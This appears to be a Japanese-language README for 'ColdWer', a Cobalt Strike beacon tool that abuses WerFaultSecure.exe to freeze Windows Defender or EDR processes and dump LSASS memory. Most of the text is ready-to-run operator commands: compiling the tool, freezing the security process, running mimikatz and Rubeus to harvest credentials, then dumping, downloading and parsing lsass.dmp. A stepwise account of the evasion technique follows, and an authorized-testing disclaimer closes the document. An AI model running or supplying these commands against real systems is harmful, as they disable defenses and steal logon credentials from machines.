C O L D W E R
        └─┴─┴── WerFaultSecure
    └─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)

git clone https://github.com/0xsh3llf1r3/ColdWer.git

# ソースディレクトリへ移動
cd src/

# BOF をコンパイル（MinGW が必要）
make

# または手動:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o

# Windows Defender の PID を探す
beacon> ps

# プロセスをフリーズ
beacon> cw-freeze 1337

# EDR/AV がフリーズされた状態でコマンドを実行
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage

# 終わったらアンフリーズ
beacon> cw-unfreeze

# ステップ 1: Win8.1 の WerFaultSecure.exe をアップロード
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe

# ステップ 2: LSASS の PID を探す
beacon> ps

# ステップ 3: LSASS をダンプ
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# ステップ 4: ダンプファイルをダウンロード
beacon> download C:\Windows\Temp\lsass.dmp

mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# デフォルトパスでフリーズ
beacon> cw-freeze 1337

# カスタムの WerFaultSecure.exe を使用
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe

# LSASS をダンプ
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# 終わったらアンフリーズ
beacon> cw-unfreeze

1. 🚀 WerFaultSecure.exe を PPL（WinTcb レベル）として起動
                    ↓
2. 🎯 WerFaultSecure がターゲットプロセスにアタッチ
                    ↓
3. ⏸️  MiniDumpWriteDump がターゲットの全スレッドを一時停止
                    ↓
4. 🥶 WerFaultSecure 自体を一時停止 → ターゲットはフリーズ状態を維持
                    ↓
5. ✅ コマンドを実行（EDR/AV は見えない！）
                    ↓
6. 🔥 WerFaultSecure を終了 → ターゲットがアンフリーズ

⚠️ 許可されたセキュリティテストのみ

このツールは以下の用途を目的としています:
- 許可されたペネトレーションテスト
- 書面による許可を得たレッドチーム運用
- 管理された環境でのセキュリティ研究

作者は本ツールの誤用またはそれによって生じたいかなる損害についても責任を負いません。
コンピュータシステムへの不正アクセスは違法です。